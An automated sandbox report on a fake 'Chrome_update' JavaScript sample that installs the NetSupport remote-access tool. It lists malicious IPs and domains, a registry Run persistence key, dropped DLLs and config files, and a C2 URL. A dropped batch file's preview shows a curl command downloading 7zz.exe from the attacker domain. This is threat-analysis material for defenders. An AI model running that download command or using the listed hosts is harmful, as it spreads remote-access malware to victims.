https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25	wscript.exe, 00000000.00000003.1273128701.000001F05334A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1112213896.000001F055061000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270397845.000001F05506A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1272750082.000001F053372000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1328476970.000001F05334B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1112213896.000001F05506A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.127.230.147	mangoairsoft.com	Russian Federation	56694	DHUBRU	true
94.158.247.23	unknown	Moldova Republic of	39798	MIVOCLOUDMD	true
62.172.138.8	geography.netsupportsoftware.com	United Kingdom	5400	BTGB	false

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1284212
Start date and time:	2023-08-02 10:29:32 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10, Office Professional Plus 2016, Chrome 115, Firefox 115, Adobe Reader 23, Java 8 Update 381
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Chrome_update(1).js
Detection:	MAL
Classification:	mal88.troj.spyw.evad.winJS@40/36@2/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 65.7% (good quality ratio 63.3%) Quality average: 85.8% Quality standard deviation: 24.9%
HCA Information:	Successful, ratio: 78% Number of executed functions: 164 Number of non-executed functions: 153
Cookbook Comments:	Found application associated with file extension: .js Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, login.live.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Chrome_update(1).js

Simulations

Behavior and APIs

Time	Type	Description
10:30:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CachedX C:\ProgramData\client32.exe
10:31:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CachedX C:\ProgramData\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.127.230.147	sett.bat	Get hash	malicious	Unknown	Browse
	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
94.158.247.23	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	http://94.158.247.23/fakeurl.htm
94.158.247.23	Chrome_update.js	Get hash	malicious	Unknown	Browse	http://94.158.247.23/fakeurl.htm
62.172.138.8	jqCED7njWa.exe	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	BP6R1D2cOd.exe	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	Ae8DId1ZVs.exe	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	auf1536.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	rechn1831.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	ChatGPT_3.1.48.exe	Get hash	malicious	Stealc, Vidar	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	C0I7DjIDBy.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	FmtQvu1wyR.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	h4xLqdzN0y.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mangoairsoft.com	sett.bat	Get hash	malicious	Unknown	Browse	188.127.230.147
	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	188.127.230.147
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.230.147
geography.netsupportsoftware.com	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	51.142.119.24
	Chrome_update.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	8xW3tocJ6B.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	5r5RuD1r4x.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	jqCED7njWa.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	EN-localer.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	51.142.119.24
	RNdbR3uRmZ.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	local-EN.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	62.172.138.67
	shdeulerinstall.lnk	Get hash	malicious	NetSupport RAT	Browse	62.172.138.67
	BP6R1D2cOd.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	bRGk8rpf6M.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	tqWIHaQ2EZ.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	mitljPgJ0K.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	sq36TjF9Sk.exe	Get hash	malicious	Nymaim	Browse	62.172.138.67
	yOUWkF8AHi.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	Ae8DId1ZVs.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse	62.172.138.67
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	62.172.138.8
	PurchaseOrder.exe	Get hash	malicious	Unknown	Browse	51.142.119.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIVOCLOUDMD	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	94.158.247.23
	Chrome_update.js	Get hash	malicious	Unknown	Browse	94.158.247.23
	EN-localer.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	94.158.244.41
	CX17SY6xF6.exe	Get hash	malicious	Pushdo	Browse	185.163.45.187
	local-EN.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	94.158.244.41
	shdeulerinstall.lnk	Get hash	malicious	NetSupport RAT	Browse	94.158.247.27
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse	5.252.178.48
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	5.252.178.48
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	5.252.178.48
	b8tbjIBJHl.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	7y8aSAoE8h.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	NKtBM621gg.elf	Get hash	malicious	Unknown	Browse	5.252.177.46
	rV0TrBFR5y.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	5.252.177.46
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	5.252.178.48
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	5.252.178.48
	http://5.252.177.59	Get hash	malicious	Unknown	Browse	5.252.177.59
	http://5.252.177.59	Get hash	malicious	Unknown	Browse	5.252.177.59
DHUBRU	sett.bat	Get hash	malicious	Unknown	Browse	188.127.230.147
	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	185.9.147.166
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.230.147
	Chrome_update.js	Get hash	malicious	Unknown	Browse	152.89.218.150
	Chrome_update.js	Get hash	malicious	Unknown	Browse	152.89.218.150
	http://itsdigitalshiva.com	Get hash	malicious	Unknown	Browse	185.9.147.166
	https://altiordp.com/cdn-js/wds.min.php	Get hash	malicious	Unknown	Browse	188.127.225.232
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	2_1.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	KjMLNNlbSwRjEriciGnpqBNGGsSj.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	2023-07-12-Gozi.dll	Get hash	malicious	Ursnif, Strela Stealer	Browse	91.199.147.95
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	188.127.225.160

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	4496iKzQhkhlziKzdxfRihzUykrn.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	telegram_cxcLf.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	CKlO7ANp5J.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	MoQlNbG9Iu.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	http://104.156.149.33/yes/4496EOhNFImHEZOIsrnCCTmYaysV.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	xE5YAGNf32.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496yadFrkdEQvwtHRSKqHgKoxcR.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496RblOFsNJdDaJeTwxMQgThDNQ.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496HaJToXTUiHZgpIZcsxRYvNdc.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	3QVHHFjUJc.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496KGGgbfxxxSUnmAskrOYXvmsJ.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496BSHYhOUsAxLXFIBckeWqWQMZ.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496PUkFDOiERwmVwxlBPrDrmQbX.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496lQRGuRPwOlVqqYBOOAAZQrqy.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496TmGAmszliFaJddlAQYLYCUMW.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496bTTgaeQLdnjcSQxQcPevcQrl.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496ArTjWWSnZWVikWxVAaxkSJla.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	ATT00001.htm	Get hash	malicious	Unknown	Browse	188.127.230.147
	Driver_Booster_19_02_23_to_msi.msi	Get hash	malicious	Unknown	Browse	188.127.230.147
	file.exe	Get hash	malicious	Unknown	Browse	188.127.230.147

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\7zz.exe	Chrome_update.js	Get hash	malicious	Unknown	Browse
	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse
	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	niqS1law5h.js	Get hash	malicious	Unknown	Browse
	iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	Browser_portable_version.js	Get hash	malicious	Unknown	Browse
	Browser_update.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse
	i7gVJvg3pD.js	Get hash	malicious	Unknown	Browse
	InstallationAssistant.exe	Get hash	malicious	Unknown	Browse
	11.bat	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\7z.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	5.322433232277889
Encrypted:	false
SSDEEP:	6:CxBR2RcN23f7fFlCe8UlLAHbKx4/mWB1RcN23fmvn:cnXgDfFADC0veNg+v
MD5:	3525AEDBCCC13E45AE01D2C7C320DBAD
SHA1:	24183009E923947FAB08285D7FE48CDC886ADDE4
SHA-256:	B05C7FB6B0127FE72CF96A782F46B82AF5116D04CC373C7DAF90AA296044467A
SHA-512:	C83CBBB887E7155AEDE7D71C7EEEAA03E36E392DA7561B35F46499677CA4D541B59BE52B7C35D730876A7EEEA07ED4D7762FD95A631CA104F0F7B7609054A1E9
Malicious:	false
Preview:	if not exist "C:\Users\user\AppData\Local\Temp/7zz.exe" ( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe" ) .."C:\Users\user\AppData\Local\Temp/7zz.exe"..

C:\ProgramData\7zz.exe

Process:	C:\Windows\System32\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	587776
Entropy (8bit):	6.439962628647099
Encrypted:	false
SSDEEP:	12288:myyKdVnyNhXCV4EkP7AIfzNXZ0b5NrnkcAqIV0A1caRI:mKvyNhXCV4E8BXAfrnkcAqU0A
MD5:	42BADC1D2F03A8B1E4875740D3D49336
SHA1:	CEE178DA1FB05F99AF7A3547093122893BD1EB46
SHA-256:	C136B1467D669A725478A6110EBAAAB3CB88A3D389DFA688E06173C066B76FCF
SHA-512:	6BC519A7368EE6BD8C8F69F2D634DD18799B4CA31FBC284D2580BA625F3A88B6A52D2BC17BEA0E75E63CA11C10356C47EE00C2C500294ABCB5141424FC5DC71C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Chrome_update.js, Detection: malicious, Browse Filename: Browser_update16.0.5836.js, Detection: malicious, Browse Filename: Chrome_update.js, Detection: malicious, Browse Filename: tUUPQygorhzFkIcHuB.bat, Detection: malicious, Browse Filename: VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat, Detection: malicious, Browse Filename: h60FUiSRcC.js, Detection: malicious, Browse Filename: h60FUiSRcC.js, Detection: malicious, Browse Filename: niqS1law5h.js, Detection: malicious, Browse Filename: niqS1law5h.js, Detection: malicious, Browse Filename: iGlTkXaLWeKxfXgiFdNuxOaOgbdWVaOw.bat, Detection: malicious, Browse Filename: Browser_update.js, Detection: malicious, Browse Filename: Browser_portable_version.js, Detection: malicious, Browse Filename: Browser_update.js, Detection: malicious, Browse Filename: 8bx1ECBJPP.js, Detection: malicious, Browse Filename: 8bx1ECBJPP.js, Detection: malicious, Browse Filename: i7gVJvg3pD.js, Detection: malicious, Browse Filename: InstallationAssistant.exe, Detection: malicious, Browse Filename: 11.bat, Detection: malicious, Browse Filename: Chrome_update.js, Detection: malicious, Browse Filename: Chrome_update.js, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.rR9p..9p..9p..Bl..;p...l.. p...V..[p...xC.8p..9p...p...xA.>p...V...p..V....p..V...;p...v..8p..Rich9p..................PE..L....S.L............................L.............@.........................................................................\...P.......(...............................................................................P............................text............................... ..`.rdata..............................@..@.data............l..................@....sxdata.............................@....rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CacheURL.dat

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.448934896284057
Encrypted:	false
SSDEEP:	3:N8YW2TdBLESqNXLEXNCv:2YLTdB6NgXS
MD5:	39F6D8FA3BD905E03B0CC8CC16707E2B
SHA1:	872DCC92BFF8F52A8F6BD1905F959C991C607472
SHA-256:	54B920F5B87019FCF313BEC4D9F4639A932B8268E5183B29804E91E29ED6F726
SHA-512:	B9C726C0164AAB96D53795202C95591285FAAE8D882E0F0B6601189011C085349969ADF484947F0CBC64966A4A6593F483B8A32E9778E741D24519CF17D04B1E
Malicious:	false
Preview:	https://magydostravel.com/cdn/zwmrqqgqnaww.php..

C:\ProgramData\HTCTL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.7547459359511395
Encrypted:	false
SSDEEP:	6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5:	C94005D2DCD2A54E40510344E0BB9435
SHA1:	55B4A1620C5D0113811242C20BD9870A1E31D542
SHA-256:	3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
SHA-512:	2E6F673864A54B1DCAD9532EF9B18A9C45C0844F1F53E699FADE2F41E43FA5CBC9B8E45E6F37B95F84CF6935A96FBA2950EE3E0E9542809FD288FEFBA34DDD6A
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......._....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HTML_Obj_list.txt

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	298
Entropy (8bit):	4.25628025837569
Encrypted:	false
SSDEEP:	6:0MUIbLESrO4ywjsKVw1ASywzJHI3Sc8klIoAhHFN1zNseIR3VwWzt3YYn:0M+74+KAAObelqrU1YYn
MD5:	3FA98AC589AC2B284F4D625A620D66BC
SHA1:	6E473A2A0C95367A61AB98AAD4472577246E42F0
SHA-256:	D9AE5DC5F2C4964C1E7BA3BE64CBA37F3043484DB9056D3A828102275D7D4101
SHA-512:	FA4BB059BFB9305CBB0DA36B8AE51ACD3EBC151616FBD711494A3F60353C915BE947F24AF81145920F6F4AE234712B6F5223A630E3C1748B2D8E79A3D648BAD0
Malicious:	false
Preview:	<script;>;</script>.. onLoad;";".. onunload;";".. onchange;";".. onsubmit;";".. onreset;";".. onselect;";".. onblur;";".. onfocus;";".. onkeydown;";".. onkeypress;";".. onkeyup;";".. onclick;";".. ondblclick;";".. onmousedown;";".. onmousemove;";".. onmouseout;";".. onmouseover;";".. onmouseup;";"

C:\ProgramData\NSM.LIC

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.1458289587885675
Encrypted:	false
SSDEEP:	6:O/oPDvXk4xRPjwx3LzX81DKHMoEEjLgpW2MorGLUfKdYpPM/ioxTKa8l6i7s:X7XZR7wx3LzXBJjjqW2M23KKPM/iox7X
MD5:	1B41E64C60CA9DFADEB063CD822AB089
SHA1:	ABFCD51BB120A7EAE5BBD9A99624E4ABE0C9139D
SHA-256:	F4E2F28169E0C88B2551B6F1D63F8BA513FEB15BEACC43A82F626B93D673F56D
SHA-512:	C97E0EABEA62302A4CFEF974AC309F3498505DD055BA74133EE2462E215B3EBC5C647E11BCBAC1246B9F750B5D09240CA08A6B617A7007F2FA955F6B6DD7FEE4
Malicious:	false
Preview:	1200..0xa353ff01....; NetSupport License File...; Generated on 14:45 - 17/07/2022........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=HANEYMANEY..maxslaves=8888..os2=1..product=10..serial_no=NSM385736..shrink_wrap=0..transport=0..

C:\ProgramData\NSM.ini

Process:	C:\ProgramData\7zz.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\ProgramData\PCICHEK.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.292094060787929
Encrypted:	false
SSDEEP:	192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5:	104B30FEF04433A2D2FD1D5F99F179FE
SHA1:	ECB08E224A2F2772D1E53675BEDC4B2C50485A41
SHA-256:	956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD
SHA-512:	5EFCAA8C58813C3A0A6026CD7F3B34AD4FB043FD2D458DB2E914429BE2B819F1AC74E2D35E4439601CF0CB50FCDCAFDCF868DA328EAAEEC15B0A4A6B8B2C218F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`.......U....@.........................@#..r...h!..P....@............... ..x)...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\PCICL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3740024
Entropy (8bit):	6.527276298837004
Encrypted:	false
SSDEEP:	49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJa:0KJ/zIPq7F4fmXO8u6kS+y/
MD5:	D3D39180E85700F72AAAE25E40C125FF
SHA1:	F3404EF6322F5C6E7862B507D05B8F4B7F1C7D15
SHA-256:	38684ADB2183BF320EB308A96CDBDE8D1D56740166C3E2596161F42A40FA32D5
SHA-512:	471AC150E93A182D135E5483D6B1492F08A49F5CCAB420732B87210F2188BE1577CEAAEE4CE162A7ACCEFF5C17CDD08DC51B1904228275F6BBDE18022EC79D2F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\ProgramData\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....Y.9.............................p................p................8.x)...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\ProgramData\PScripts\insert_delimiter.pscript

Process:	C:\ProgramData\7zz.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1286
Entropy (8bit):	3.2151299174173276
Encrypted:	false
SSDEEP:	24:QesElfxUbrVQwd8fYLAgcti3fwTONDKA2tCO4YTONQO2ONDIc4TWoV:LdxUbZ7Jc8fwTOgvv4YTOp2OCcGV
MD5:	3C0C93F687DCE4D43BDB60237BBD0B54
SHA1:	D66CA3BC8AD49532ECD1B22241650C24DE801BA7
SHA-256:	4B460FDE39403B5FC251388363565BDCF4B3EB1FD23873154EFE61E6FC482042
SHA-512:	06614A9C48B904D616AC2B60A9DF06ECA67A0EAB15A700563D98B10CB0F0461C0F978EC4289328AEAD6561226DF1391E973B8D1C1EA58822F6CF57183F525A33
Malicious:	false
Preview:	..{.....I.n.s.e.r.t. .a. .d.e.l.i.m.i.t.e.r. .a.t. .e.v.e.r.y. .n.-.t.h. .p.o.s.i.t.i.o.n.....}.........v.a.r..... . .i.:. .i.n.t.e.g.e.r.;..... . .j.:. .i.n.t.e.g.e.r.;..... . .k.:. .i.n.t.e.g.e.r.;..... . .d.:. .s.t.r.i.n.g.;. ././. .i.n.p.u.t. .b.u.f.f.e.r..... . .s.:. .s.t.r.i.n.g.;. ././. .o.u.t.p.u.t. .b.u.f.f.e.r..... . .d.l.m.t.:. .s.t.r.i.n.g.;..... . .s.t.e.p.:. .i.n.t.e.g.e.r.;.....b.e.g.i.n..... . ..... . .s.t.e.p. .:.=. .4.;..... . .i. .:.=. .0.;. ././. .o.f.f.s.e.t..... . .d.l.m.t. .:.=. .'.%.u.'.;..... . ..... . .d. .:.=. .R.e.a.d.D.o.c.;..... . .s. .:.=. .'.'.;..... . .j. .:.=. .l.e.n.g.t.h.(.d.).;..... . .w.h.i.l.e. .i. .<. .j. .d.o..... . .b.e.g.i.n..... . . . .s. .:.=. .s. .+. .d.l.m.t.;. ././. .i.n.s.e.r.t. .d.e.l.i.m.i.t.e.r. .b.e.f.o.r.e. .d.a.t.a. .m.e.m.b.e.r..... . . . .f.o.r. .k. .:.=. .1. .t.o. .s.t.e.p. .d.o..... . . . .b.e.g.i.n..... . . . . . .i.f. .(.i. .+. .k.). .<.=. .l.e.n.g.t.h.(.d.). .t.h.e.n..... . . . . . .s. .:.=. .s. .+. .d.[.i. .+. .k.].;..... .

